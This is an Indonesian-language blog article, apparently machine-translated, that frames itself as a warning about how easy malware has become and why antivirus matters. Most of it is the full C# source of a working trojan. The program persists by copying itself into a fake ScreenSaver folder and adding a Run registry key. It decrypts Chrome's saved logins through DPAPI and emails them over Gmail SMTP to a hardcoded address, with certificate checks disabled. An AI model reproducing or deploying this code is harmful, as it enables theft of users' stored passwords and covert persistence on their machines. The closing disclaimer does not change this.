Virus dasar dalam 20 menit atau mengapa Anda harus menggunakan antivirus

Salam pembuka.

Saat ini, ambang batas untuk memasuki dunia pemrograman telah turun secara signifikan - jika sebelumnya, pada awal era digital, pemrograman adalah sesuatu yang luar biasa, "nasib orang-orang pilihan," hari ini setiap siswa yang tahu cara google dan dengan percaya diri dapat menulis keylogger atau worm menangani komputer. Tanpa keahlian khusus, Anda dapat membuat perangkat lunak yang dapat menyebabkan banyak masalah bagi pengguna PC yang, karena satu dan lain alasan, mengabaikan program anti-virus.

Under cat adalah contoh penulisan malware semacam itu dan beberapa pemikiran tentang mengapa ia menjadi begitu mudah diakses.

Jadi, sebagai permulaan, kami meresmikan - yang dalam konteks artikel ini dianggap di bawah konsep "virus" dan "worm". Secara formal, konsep "virus" pertama kali diperkenalkan pada tahun 1984 oleh Fred Cohen dan terdengar seperti ini:
Kami mendefinisikan 'virus' komputer sebagai program yang dapat 'menginfeksi' program lain dengan memodifikasi mereka untuk menyertakan kemungkinan salinan yang dikembangkan sendiri.

Belakangan, ia mengoreksi definisinya sendiri, berkonsentrasi pada kemampuan untuk memperbanyak diri - mis. untuk menyalin kode program secara rekursif. Dengan demikian, dalam pengertian yang lebih mendasar, virus didefinisikan sebagai suatu kode, yang pelaksanaannya akan mengarah pada rekaman salinan kode ini pada pita mesin Turing menjelang eksekusi, yaitu. di masa depan.
Definisi ini tidak sepenuhnya benar dalam kaitannya dengan sebagian besar virus modern, karena virus asli tidak harus disalin secara rekursif, dan pada umumnya bahkan disalin, tetapi model ini dianggap klasik dan pantas digunakan untuk menulis "virus bulat dalam ruang hampa."

Selain itu, pada tahun 1992 dalam artikelnyaCohen memperkenalkan definisi formal tentang worm komputer. Definisi formal lengkap dapat ditemukan di sumber, di sini saya hanya akan memberikan kutipan singkat:
Baru-baru ini, istilah "worm" telah banyak digunakan untuk menggambarkan program yang secara otomatis mereplikasi dan menginisialisasi interpretasi replika mereka.1 Sebaliknya, definisi virus mencakup semua program yang mereplikasi diri tetapi tidak membahas cara di mana replika dapat digerakkan .

Itu alasan untuk menjalankan cacing mungkin bukan cacing induk, tetapi menurut pemicu apa pun, misalnya, boot komputer atau timer.

Bahkan, klasifikasi virus jauh lebih luas, dan setiap virus masuk ke dalam beberapa kategori sekaligus, bahkan hanya "trojan" memiliki lebih dari selusin spesies . Ini bukan tentang itu.

Kami menyadari virus lain di galaksi ini. Saya akan segera mengatakan bahwa itu tidak akan berfungsi pada perangkat keras nyata yang dilindungi bahkan oleh antivirus sederhana, tetapi jelas menunjukkan prinsip-prinsip yang mendasari sebagian besar program virus.

Kode lengkap di bawah spoiler (hati-hati, ada banyak):

Judul spoiler
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Data;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Threading;

public class DPAPI
{
    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
    ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);

    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
    IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct DATA_BLOB
    {
        public int cbData;
        public IntPtr pbData;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct CRYPTPROTECT_PROMPTSTRUCT
    {
        public int cbSize;
        public int dwPromptFlags;
        public IntPtr hwndApp;
        public string szPrompt;
    }

    static private IntPtr NullPtr = ((IntPtr)((int)(0)));

    private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
    private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;

    private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
    {
        ps.cbSize = Marshal.SizeOf(
        typeof(CRYPTPROTECT_PROMPTSTRUCT));
        ps.dwPromptFlags = 0;
        ps.hwndApp = NullPtr;
        ps.szPrompt = null;
    }

    private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
    {
        // Use empty array for null parameter.
        if (data == null)
            data = new byte[0];

        // Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length);

        // Make sure that memory allocation was successful.
        if (blob.pbData == IntPtr.Zero)
            throw new Exception(
            "Unable to allocate data buffer for BLOB structure.");

        // Specify number of bytes in the BLOB.
        blob.cbData = data.Length;

        // Copy data from original source to the BLOB structure.
        Marshal.Copy(data, 0, blob.pbData, data.Length);
    }

    public enum KeyType { UserKey = 1, MachineKey };

    private static KeyType defaultKeyType = KeyType.UserKey;

    public static string Encrypt(string plainText)
    {
        return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText)
    {
        return Encrypt(keyType, plainText, String.Empty,
        String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy)
    {
        return Encrypt(keyType, plainText, entropy, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
    {
        // Make sure that parameters are valid.
        if (plainText == null) plainText = String.Empty;
        if (entropy == null) entropy = String.Empty;

        // Call encryption routine and convert returned bytes into
        // a base64-encoded value.
        return Convert.ToBase64String(
        Encrypt(keyType,
        Encoding.UTF8.GetBytes(plainText),
        Encoding.UTF8.GetBytes(entropy),
        description));
    }

    public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
    {
        // Make sure that parameters are valid.
        if (plainTextBytes == null) plainTextBytes = new byte[0];
        if (entropyBytes == null) entropyBytes = new byte[0];
        if (description == null) description = String.Empty;

        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        try
        {
            // Convert plaintext bytes into a BLOB structure.
            try
            {
                InitBLOB(plainTextBytes, ref plainTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize plaintext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // When using machine-specific key, set up machine flag.
            if (keyType == KeyType.MachineKey)
                flags |= CRYPTPROTECT_LOCAL_MACHINE;

            // Call DPAPI to encrypt data.
            bool success = CryptProtectData(ref plainTextBlob,
            description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref cipherTextBlob);
            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptProtectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold ciphertext.
            byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData,
            cipherTextBytes,
            0,
            cipherTextBlob.cbData);

            // Return the result.
            return cipherTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to encrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }

    public static string Decrypt(string cipherText)
    {
        string description;

        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, out string description)
    {
        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, string entropy, out string description)
    {
        // Make sure that parameters are valid.
        if (entropy == null) entropy = String.Empty;

        return Encoding.UTF8.GetString(
        Decrypt(Convert.FromBase64String(cipherText),
        Encoding.UTF8.GetBytes(entropy),
        out description));
    }

    public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
    {
        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        // Initialize description string.
        description = String.Empty;

        try
        {
            // Convert ciphertext bytes into a BLOB structure.
            try
            {
                InitBLOB(cipherTextBytes, ref cipherTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize ciphertext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI. CryptUnprotectData does not
            // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            // supported flags so we will not set it up.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // Call DPAPI to decrypt data.
            bool success = CryptUnprotectData(ref cipherTextBlob,
            ref description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref plainTextBlob);

            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptUnprotectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold plaintext.
            byte[] plainTextBytes = new byte[plainTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData,
            plainTextBytes,
            0,
            plainTextBlob.cbData);

            // Return the result.
            return plainTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to decrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }
}

public class Chrome
{

    static string filename = "passwords.html";
    static string db_way = "Login Data"; //    

    static string wayToDir = @"Screens\";
    static string wayToScreen;
    static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\";
    static void Main(string[] args)
    {
        
        Registr();
        Thread.Sleep(5 * 60 * 1000);
        Generate();
        Send();
     
    }
   
    static void Registr()
    {
        string way = Environment.GetCommandLineArgs()[0];
        try
        {
            

            if (!Directory.Exists(finalDir))
            {
                Directory.CreateDirectory(finalDir);
                foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))
                {
                   // Console.WriteLine(iter);
                    string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1];
                    //Console.WriteLine(nameOfFile);
                    File.Copy(iter, finalDir + nameOfFile, true);
                }
                Directory.CreateDirectory(finalDir + "x64");
                Directory.CreateDirectory(finalDir + "x86");
                File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll");
                File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll");


                const string name = "SoftWare";
                string ExePath = finalDir + "soft.exe";
                File.Copy(way, ExePath, true);
                RegistryKey reg;
                reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
                try
                {
                    reg.SetValue(name, ExePath);
                    reg.Close();
                }
                catch
                {   }
            }

        }
        catch
        {   }
    }
    static void Generate()
    {
        try
        {
            string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
            File.Copy(way_to_original, "Login Data", true);

            StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);

            string db_field = "logins"; //  
            byte[] entropy = null; //    .
                                   //  DPAPI      ,
                                   //   -  ,  .
            string description; //       ,     .
                                //    
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            DataTable DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");

            using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connect);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
                int rows = DB.Rows.Count;

                for (int i = 0; i < rows; i++)
                {
                    Writer.Write(i + 1 + ") "); //        "--". 
                    Writer.WriteLine(DB.Rows[i][1] + "<br>"); //   
                    Writer.WriteLine(DB.Rows[i][3] + "<br>"); // 
                                                              //    
                    byte[] byteArray = (byte[])DB.Rows[i][5];
                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                    string password = new UTF8Encoding(true).GetString(decrypted);
                    Writer.WriteLine(password + "<br><br>");
                }

            }

            Writer.Close();
        }
        catch
        {   }
    }

    static void Send()
    {
        MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords");
        MailAddress to = new MailAddress("a***********v@yandex.ru");
        MailMessage m = new MailMessage(from, to);
        m.Subject = (DateTime.Now).ToString();
        m.Body = "";
        m.IsBodyHtml = true;
        SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ;
        smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l");
        smtp.EnableSsl = true;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        m.Attachments.Add(new Attachment(filename));
        try
        {
            smtp.Send(m);
        }
        catch { }
    }


}


Sebagian besar kode untuk mendekripsi kata sandi diambil dari artikel terkait tentang penyimpanan kata sandi di Chrome , yang, pada kenyataannya, mudah untuk google dan berada di domain publik.

Semua yang tersisa untuk mengubah produk perangkat lunak ini menjadi trojan adalah menambahkan kemampuan untuk "menginfeksi" komputer dengan itu tanpa sepengetahuan pengguna, menambahkan beberapa kondisi pemicu, dan mengajarkan untuk mengirim informasi curian ke beberapa server jauh.
Oleh karena itu, pada umumnya, setiap tahap dilacak dengan baik. Dalam fungsi Registr, program menyalin dirinya sendiri ke folder layanan dan masuk ke autorun ketika sistem operasi boot, di blok Hasilkan menghasilkan file dengan kata sandi dan login, semuanya agak membingungkan, tetapi sebagian besar kode yang digunakan di sini disalin dari sumber terbuka. Kode dikomentari di tempat, di sini saya tidak melihat alasan untuk mengulang. Dan akhirnya, fungsi Kirim mengirim file kata sandi ke surat yang ditentukan. Kode ini juga tidak memerlukan pengetahuan yang mendalam tentang soket dan tumpukan TCP / IP. Semua NET cukup baik dibungkus dalam kelas tingkat tinggi untuk bekerja dengan surat. Jika perlu, Anda dapat mentransfer data ke salah satu protokol, termasuk permintaan POST dan server FTP, tetapi itu tidak harus meningkatkan server - Anda dapat menggunakan surat.

Akibatnya, dalam setengah jam bekerja dengan kode, kami mendapat trojan lengkap, yang, tentu saja, ditangkap oleh antivirus, tetapi jika Anda tidak memperhitungkannya, ia berfungsi dengan baik. Dan pada suatu waktu, menulis program semacam itu membutuhkan ratusan baris kode. Sekarang butuh beberapa lusin menit.

Apakah ini baik atau buruk? Pertanyaannya sangat terbuka, karena di satu sisi, menurunkan tingkat masuk ke dalam profesi meningkatkan masuknya personil, baru-baru ini menjadi lebih mudah untuk menulis program kerja, masing-masing - ada lebih banyak program, dan dalam ekonomi pasar ini tentu baik, karena persaingan meningkatkan kualitas. Di sisi lain, ambang masuk yang rendah berarti sejumlah besar personil berketerampilan rendah dan menengah, karena itu kualitas produk perangkat lunak tetap lebih rendah dari yang diinginkan, bahkan dengan mempertimbangkan semua alat yang memfasilitasi pekerjaan pengembang - bahasa pemrograman tingkat tinggi modern, lingkungan pengembangan terintegrasi, debuggers, dll. .

Yah, tentu saja - karena ada lebih banyak produk perangkat lunak, ada lebih banyak virus. Tentu saja, pengguna yang rapi dan penuh perhatian biasanya tahu cara menghindarinya - ia tidak mengikuti tautan dari surat dan tidak memasukkan flash drive yang tidak diverifikasi. Tetapi faktanya tetap - sekarang, ketika setiap siswa sekolah menengah tahu cara menulis virus dasar - antivirus telah menjadi lebih populer daripada beberapa dekade yang lalu.

Penulis sama sekali tidak merekomendasikan membuat perangkat lunak berbahaya dan mengingat bahwa akses ilegal ke informasi pribadi dituntut.

All Articles